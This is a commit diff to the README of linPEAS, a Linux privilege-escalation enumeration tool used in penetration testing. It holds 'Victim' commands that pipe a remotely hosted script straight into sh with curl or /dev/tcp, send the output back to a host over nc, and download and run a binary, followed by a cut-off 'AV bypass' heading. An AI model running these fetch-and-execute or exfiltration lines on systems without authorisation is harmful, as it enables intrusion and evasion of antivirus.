mirror of
https://github.com/peass-ng/PEASS-ng.git
synced 2025-12-12 07:40:39 -08:00
use releases page
This commit is contained in:
@@ -13,31 +13,40 @@ Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks
|
||||
Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed**
|
||||
|
||||
## Quick Start
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**.
|
||||
|
||||
```bash
|
||||
#From github
|
||||
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh
|
||||
# From github
|
||||
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/linpeas.sh | sh
|
||||
```
|
||||
|
||||
```bash
|
||||
#Local network
|
||||
# Local network
|
||||
sudo python -m SimpleHTTPServer 80 #Host
|
||||
curl 10.10.10.10/linpeas.sh | sh #Victim
|
||||
|
||||
#Without curl
|
||||
# Without curl
|
||||
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
|
||||
cat < /dev/tcp/10.10.10.10/80 | sh #Victim
|
||||
|
||||
#Excute from memory and send output back to the host
|
||||
# Excute from memory and send output back to the host
|
||||
nc -lvnp 9002 | tee linpeas.out #Host
|
||||
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
|
||||
```
|
||||
|
||||
```bash
|
||||
#Output to file
|
||||
# Output to file
|
||||
./linpeas.sh -a > /dev/shm/linpeas.txt #Victim
|
||||
less -r /dev/shm/linpeas.txt #Read with colors
|
||||
```
|
||||
|
||||
```bash
|
||||
# Use a linpeas binary
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fheads%2Fmaster/linpeas_linux_amd64
|
||||
chmod +x linpeas_linux_amd64
|
||||
./linpeas_linux_amd64
|
||||
```
|
||||
|
||||
## AV bypass
|
||||
```bash
|
||||
#open-ssl encryption
|
||||
|
||||
Reference in New Issue
Block a user